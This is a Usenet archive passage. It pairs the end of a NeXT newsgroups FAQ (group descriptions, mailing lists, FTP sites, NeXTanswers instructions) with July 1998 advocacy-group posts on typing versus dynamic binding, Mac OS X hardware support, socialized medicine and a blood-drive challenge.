NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 12 Jul 1998 07:14:17 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o9no9$787$1@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com>
<6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
<6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com>
<35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com>
<6o6lm7$bmk$1@supernews.com> <K4Jp1.3329$24.19077986@news.itd.umich.edu>
<6o8ijh$jl1$1@supernews.com> <DSQp1.3353$24.19338362@news.itd.umich.edu>
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Cc: not@my.address.net
not@my.address.net may or may not have said:
-[snip]
-> But I take it from your response that you would have no objection to
socialized
-> medicine, even though it would be a tax-funded system, PROVIDED THAT it
would
-> deliver those results; it's just your deeply sceptical that a socialized
system
-> of medicine would deliver.
No, that was an effect of my trying to be terse. In fact, I do object to the
premise that anyone's entitled to any service at anyone else's expense. The
supposed benefits of socialized medicine are offered as a justification for
this particular infringement on our liberty, and I contend that since
socialized medicine doesn't deliver on its promises we shouldn't tolerate
this encroachement by government.
Now government, by its very nature, makes other encroachments upon our
liberty, and several of these are justified, because they serve to secure our
liberty on a broader scale. I think that this argument can be made
sucessfully for taxation for a police force or a system of courts. I do not
believe that it can be morally extended to National Health Insurance, or
National Lunch Insurance.
[snip again]
-> For example, the Canadian system is in serious difficulty because
prolonged
-> deficit spending has led to the inevitable deep budget cuts. However it
remains
-> the case that over the past 25 years Canada has enjoyed a lower infant
mortality
-> rate and a longer life expectancy than the US.
Other factors affect infant mortality, such as drug addiction rates, the
prevalence of poverty in a given area, and so forth. It would be more
meaningful to compare infant mortality in Canada before and after socialized
medicine, than to compare Canada to the USA.
-> They also devote a smaller percentage of their GNP to health care.
I would hope so! They don't have the American FDA in the equation for one
thing. I suspect that if one were to audit a typical hospital or private
clinic, and add up the costs of administrative compliance with the FDA rules,
versus the actual costs of the services delivered, you'd find the source of
the spiralling costs.
Now, you propose to *reduce* the cost of health care in the USA by putting
the whole thing under the control of the people who gave us Amtrak, NASA, and
the Stealth Bomber? That is positively asinine.
-> If you told me that you wouldn't favor a socialized system of medicine NO
MATTER
-> how it fared on those three criteria, we'd be in much worse shape since
there
-> isn't much you can do with a "Go to hell" argument except say it louder
and
-> louder every time someone disagrees with you -- or maybe quote some 18th
century
-> figure who said "Go to hell" in a really snappy way (we might call that
the "Go
-> to hell" argument from authority). But now, given your answer to my
question, I
-> gather that we can just drop the "Go to hell" argument and look at the
data.
Liberty requires no justification. Even if you could deliver utopia through
the destruction of my liberty, I still would not let you do it. We are at
an impasse.
-jcr
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Sun, 12 Jul 1998 11:31:49 +0200
Organization: Completely Disorganized
Message-ID: <1dc1ug1.1gnkubnhv5nlsN@rhrz-isdn3-p16.rhrz.uni-bonn.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6o82ke$cci$1@news.cs.tu-berlin.de> <1dc0ram.aakj3s1mzlce8N@rhrz-isdn3-p45.rhrz.uni-bonn.de> <6o93p4$gqo11@odie.mcleod.net>
Mail-Copies-To: never
Michelle L. Buck <buck.erik@mcleod.net> wrote:
[compile-time protocol conformance checking]
> The basic reason that it is not ALWAYS desirable is that not all relevant
> objects are available or known at compile time. Consider plug-ins, remote
> objects, objects from shared libraries that may change after the application
> is compiled etc. One of the very best examples of LATE dynamic binding is
> Java beans.
That's fine: defer protocol checking (binding, ...) to run-time if
_necessary_.
> Remember that LATE v. EARLY binding is not the same issue as STATIC/STRONG
> typing v. WEAK TYPING. Using interfaces (Objective-C protocols) it is
> possible and desirable to have strong typing AND late binding.
But if you've already checked the interface at compile time there's no
need to do it again at run time.
[engine and mailbox examples snipped]
> It is usually desirable to know everything about an engine and how it goes
> together in advance. It is not desirable or even possible to know
> everything about a mailbox in advance because the set of packages that might
> be mailed is open-ended. Any constraint on the type of package that can be
> mailed other than conformance to the "mailable package" protocol and the
> "fits through the opening" protocol is in fact NOT DESIRABLE.
Okay, but why would you want to know more about the packages than that
they conform to some predetermined protocols? Of course, there is more
to be known about them, but it's presumably not relevant to mailboxes
and thus not stated through a required interface.
I agree that it can be necessary to recover the actual type of a package
later. But that's what RTTI does nicely without late binding.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: sev@rhi.hi.is (Sigurdur Einar Vilhelmsson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 12 Jul 1998 13:16:08 +0000
Organization: University of Iceland
Sender: sev@rhi.hi.is (Sigurdur Einar Vilhelmsson)
Message-ID: <6oacub$9q@eldborg.rhi.hi.is>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu>
Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> wrote:
<snip>
>
> Actually you are not correct. The myriad of motherboard designs went bye
> bye when Steve came back. The fact that the Mach 3 kernal that OS X sits
> on ALREADY runs on 7600, 8600, and 9600s says that adding this support to
> those computers should not be difficult at all. I am guessing that in the
> end these machines will be supported before OS X shipps. Apple is trying
> to shatter unreasonable expectations like support any nubus,performas and
> clones based on those MotherBoards and then give in. In the end they will
> support the X600 series.
>
> Peter
One thing to remember is the Performa fiasco...remember the "upgradeable
to PowerPC" lawsuit? If Apple says...OSX will run on all PCI PMs...and
then, for some reason, they cannot do that, they will have class action
law suits to deal with. They know that, and are probably just covering
their behinds. When OSX comes out, and they can say, sure...run it on
G3 upgraded PCI PMs all you like, everyone is happy...(except the NuBUS
owners).
Siggi
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 12 Jul 1998 13:32:18 GMT
Organization: I don't think so
Message-ID: <slrn6qhf4p.v8h.jason@jhste1.dyn.ml.org>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu> <joe.ragosta-1007980837370001@wil117.dol.net> <6o56nb$qre$1@hole.sdsu.edu>
tomlinson posted the following to comp.sys.mac.advocacy:
>That it runs just as fine as a "modern" OS on a 486--acceptably.
>The 486 remains useful, and is only just now in the process of
>being abandoned in the name of Pentium-specificity. (And what's
>the chance that Linux will become Pentium-specific any time soon?
>I upgraded to the K5 on account of BeOS, which decision of mine
>seems to me now a mistake. BeOS is too closed a system for me
>to waste any more time on it.)
>As such the 486 has proven more durable than, say, the 603e.
My 603e runs a "modern" operating system (Linux/PowerPC) just
fine, and there's no reason why it won't continue to do so for
several years.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: ch480124@ms5.hinet.net ()
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 12 Jul 1998 13:38:55 GMT
Organization: DCI HiNet
Message-ID: <6oae9f$7sf@netnews.hinet.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
NNTP-Posting-User: ch480124
aa158@valleynet.on.ca said:
: " Jobs also noted the following...
: 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
: sold."
: Comment: This would seem to be a strong incentive for Apple to get OS X
: running on machines other than just the G3 models.
Jobs is using Mac OS X as the incentive for users to buy new G3,
including iMac.
Chester
From: "Jim Coffey" <jlc@bocus.uchicago.org>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 12 Jul 1998 10:06:18 -0400
Organization: Ivory Tower,Inc
Message-ID: <6oafrg$fic@bgtnsc02.worldnet.att.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is>
Sigurdur Einar Vilhelmsson wrote in message <6oacub$9q@eldborg.rhi.hi.is>...
>Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> wrote:
>
>One thing to remember is the Performa fiasco...remember the "upgradeable
>to PowerPC" lawsuit? If Apple says...OSX will run on all PCI PMs...and
>then, for some reason, they cannot do that, they will have class action
>law suits to deal with. They know that, and are probably just covering
>their behinds. When OSX comes out, and they can say, sure...run it on
>G3 upgraded PCI PMs all you like, everyone is happy...(except the NuBUS
>owners).
And those PCI bus PM Macs owners that have machines that can't be upgraded
to a G3.
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
Date: Sun, 12 Jul 1998 15:13:17 +0100
Message-ID: <1dc211e.u0ngawdsfp2bN@quern.demon.co.uk>
References: <6o3vu2$m80$1@news.xmission.com> <Fergus.Doherty-ya02408000R1007981043370001@news.nottingham.ac.uk> <slrn6qd35g.30p.sal@panix3.panix.com> <6o6mfc$bmk$3@supernews.com>
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> The message would be that Apple's design and manufacturing had gotten
> completely fucked up with their "incompatible motherboard of the week"
> approach, and that it's a damn good thing that Rubinstein came in to bring
> some sanity to the hardware design cycle. Apple's product lineup was a
> complete train-wreck last year. Mac II LX? LC? SI? Performa? Quadra?
> PowerMac? WTF? I just want to buy a Mac, for god's sake!
To be pedantic, most of the models you cite were long gone before last
year, but your point is still sound.
I'm not at all surprised that Rhapsody/MacOS X won't run on my 4400.
Heck, when it appeared the next *two* MacOS releases wouldn't run on it,
and I had to wait over a year for an upgrade. This was, frankly,
disasterous, with the only consolation being that the hardware was
reliable, which was more than could be said for the Dells I installed at
the same time.
Now, if Apple couldn't support one of their (then-currently-shipping)
machines in contemporary OS releases, what hope of a future OS running
on it? None.
No, in many ways I'd much rather Apple wipe the slate clean with dodgy
motherboards like Tanzania, optimise the OS for G3s from square one, and
give people with new hardware the best OS they can. I'll still have had
three years out of my 4400, and it should still run Sonata, so it's not
out of the upgrade loop even then.
I think that's the key to this; OK, so 604e machines won't run MacOS X,
and that's a shame. However, there *is* an OS update scheduled for those
machine in Q3 '99. While this is a partial climb-down from the strategy
announced in early 1997, it's not the end of the world.
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 12 Jul 1998 14:15:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6oagd9$3eh$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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schuerig@acm.org (Michael Schuerig) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> >> This violates a fundamental tenet of object-orientation, that the
>> >> only visible aspect of an object should be its behaviour.
>>
>> >I don't see why it violates some tenet of OO to make sure at compile
>> >time that an object is actually _able_ to respond to a message that it
>> >might be sent. And exactly that is what's happening in C++, Eiffel,
>> >Java.
>>
>> Er, not quite. Most of these languages make sure that the object
>> in question belongs to a specific class or derived class. This
>> is a stronger requirement than being able to respond to a message.
>>
>> The distinction may seem subtle, but I am not alone in thinking
>> that it is actually quite important.
>Okay, then cross out the comparison to C++ et al. Now, why is it bad to
>make sure at compile time that an object is able to respond to a
>message? (In case we find this to be a desirable property, we can look
>for an implementation that's superior to C++.)
It isn't bad at all. In fact, it's very good, which is why I think
protocols are a good idea. In fact, I'd like to be able to specify
subsets of protocols in order to give the weakest possible pre-condition
for calling my method. (This sort of idea is expounded on in the
Urs Hoelzle paper).
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 12 Jul 1998 14:22:20 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6oagqs$3o4$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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schuerig@acm.org (Michael Schuerig) writes:
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
>[compile-time protocol conformance checking]
>> The basic reason that it is not ALWAYS desirable is that not all relevant
>> objects are available or known at compile time. Consider plug-ins, remote
>> objects, objects from shared libraries that may change after the application
>> is compiled etc. One of the very best examples of LATE dynamic binding is
>> Java beans.
>That's fine: defer protocol checking (binding, ...) to run-time if
>_necessary_.
Binding is not checking. You check conformance to a protocol,
you bind a message(-call) to an implementation.
>> Remember that LATE v. EARLY binding is not the same issue as STATIC/STRONG
>> typing v. WEAK TYPING. Using interfaces (Objective-C protocols) it is
>> possible and desirable to have strong typing AND late binding.
>But if you've already checked the interface at compile time there's no
>need to do it again at run time.
Again, binding is not checking, it is looking up the actual implementation.
The implementation need not be available at compile time, so there is
no way you could have bound it. The implementation may be provided by
another computer on the network, looked up dynamically, or by a Tcl-procedure
the user has just added, or by other classes that synthesize the results.
>[engine and mailbox examples snipped]
>Okay, but why would you want to know more about the packages than that
>they conform to some predetermined protocols? Of course, there is more
>to be known about them, but it's presumably not relevant to mailboxes
>and thus not stated through a required interface.
>I agree that it can be necessary to recover the actual type of a package
>later. But that's what RTTI does nicely without late binding.
Late binding does RTTI and a lot of other things with a much simpler
mechanism.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Apple heading to obscurity?
Message-ID: <cdoutyEw06E1.A24@netcom.com>
Organization: Netcom
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
Date: Sun, 12 Jul 1998 22:27:37 GMT
Sender: cdouty@netcom18.netcom.com
In article <6o6in8$83n$1@supernews.com>,
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> Steve Sullivan may or may not have said:
>
>[snip]
>
>-> Instead, Bereskin said "It's clear that if you are starting a new project
>-> and want to reach as many people as possible, the best API is Carbon."
>
>Sounds to me like that boy's got to go. Anyone promoting Carbon as anything
>more than a legacy-app migration tool is Part of the Problem (tm).
[snip]
>Yep, I'd can him in a heartbeat. Java is already irrelevant, and Apple
Here's a question? Can shareholders demand (or at least request) the
removal of a specific employee? I know that a company (or more
specifically its officers) has a fiduciary obligation to provide value to
its equity holders, but what influence can shareholders have over the
company.
Thanks,
Chris
(who's kicking himself for not buying APPL shares at $12 last year)
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: An irrelevant comment on the MacWorld expo
Date: Sun, 12 Jul 1998 20:58:55 -0500
Organization: Prairie Group
Message-ID: <MPG.101325ddb2b6c504989981@news.supernews.com>
References: <6o3mda$ldf$1@hole.sdsu.edu> <joe.ragosta-1007980803500001@wil117.dol.net> <gdwarnernyet-1107980105360001@mg-20664219-154.ricochet.net> <Pine.OSF.3.92.980712013928.17365D-100000@pigeon.qut.edu.au> <MPG.101175043f849a54989978@news.supernews.com> <mNOSPAMroeder-1207981333550001@192.168.21.172>
A thread started in comp.sys.mac.advocacy about donating blood. I just
heard on CNN that there's a big shortage of blood.
So, I got to thinking.
Let's see whether Mac advocates or PC advocates can donate more blood in
the next month. If you donate blood, drop me a line at
don.brown@cesoft.com and tell me if you're a Mac user or a PC user. Put
"Blood Drive" in the subject. You're on your honor to have actually
donated, but I hope we can get enough honest donators to drown out the
dishonest.
Oh, and you Linux advocates and OpenStep advocates and Amiga advocates
and Sun advocates and TRS-80 advocates are invited to join too. Spread
the word, feel free to repost this message as desired. I'll post the
results every Sunday, through August Nineth.
Me, I think Mac users are such kind caring individuals, they'll blow you
Windows users away. But we'll see <wide grin>
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.amiga.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Advocacy Blood Drive (was Re: An irrelevant comment on the MacWorld expo)
Date: Sun, 12 Jul 1998 21:01:23 -0500
Organization: Prairie Group
Message-ID: <MPG.1013266c7266868989983@news.supernews.com>
References: <6o3mda$ldf$1@hole.sdsu.edu> <joe.ragosta-1007980803500001@wil117.dol.net> <gdwarnernyet-1107980105360001@mg-20664219-154.ricochet.net> <Pine.OSF.3.92.980712013928.17365D-100000@pigeon.qut.edu.au> <MPG.101175043f849a54989978@news.supernews.com> <mNOSPAMroeder-1207981333550001@192.168.21.172>
A thread started in comp.sys.mac.advocacy about donating blood. I just
heard on CNN that there's a big shortage of blood.
So, I got to thinking.
Let's see whether Mac advocates or PC advocates can donate more blood in
the next month. If you donate blood, drop me a line at
don.brown@cesoft.com and tell me if you're a Mac user or a PC user. Put
"Blood Drive" in the subject. You're on your honor to have actually
donated, but I hope we can get enough honest donators to drown out the
dishonest.
Oh, and you Linux advocates and OpenStep advocates and Amiga advocates
and Sun advocates and TRS-80 advocates are invited to join too. Spread
the word, feel free to repost this message as desired. I'll post the
results every Sunday, through August Nineth.
Me, I think Mac users are such kind caring individuals, they'll blow you
Windows users away. But we'll see <wide grin>
Donald
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEw0FA2.HFD@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net>
Date: Mon, 13 Jul 1998 01:39:38 GMT
Sender: adt@netcom6.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Please explain why 486 performance is acceptable on a real PC but not on a
: virtual one.
I don't suppose you could offer an example of where the same person
claimed (in the same timeframe) that 486 performance was OK on a genuine
i486 cpu but not OK under emulation on a PowerPC cpu. I suspect multiple
individuals here, like person A saying 486s are fine and person B saying
VPC is too slow.
I could think of one admittedly weak partial explanation for the paradox
you offer. When running on 486 hardware the performance is expected, when
running on PowerPC hardware there is additional stress because the user
knows that the system is capable of so much more if only they had a native
PowerPC application. FWIW, I think VPC is an amazing achievement,
correctness being more important than speed.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 12 Jul 1998 21:04:06 -0500
Organization: Prairie Group
Message-ID: <MPG.10132710e79b0ccf989984@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <cdoutyEw06E1.A24@netcom.com>
In article <cdoutyEw06E1.A24@netcom.com>, cdouty@netcom.com says...
> >Yep, I'd can him in a heartbeat. Java is already irrelevant, and Apple
>
> Here's a question? Can shareholders demand (or at least request) the
> removal of a specific employee? I know that a company (or more
> specifically its officers) has a fiduciary obligation to provide value to
> its equity holders, but what influence can shareholders have over the
> company.
>
Nope. The shareholders vote for the board of directors, the board of
directors control the management, and the management make that decision.
You can call for it, but unless you can convince them that it will change
the makeup of the board, asking as a shareholder probably won't make a
difference.
Donald
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Mon, 13 Jul 1998 13:13:27 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980713125742.26230B-100000@pigeon.qut.edu.au>
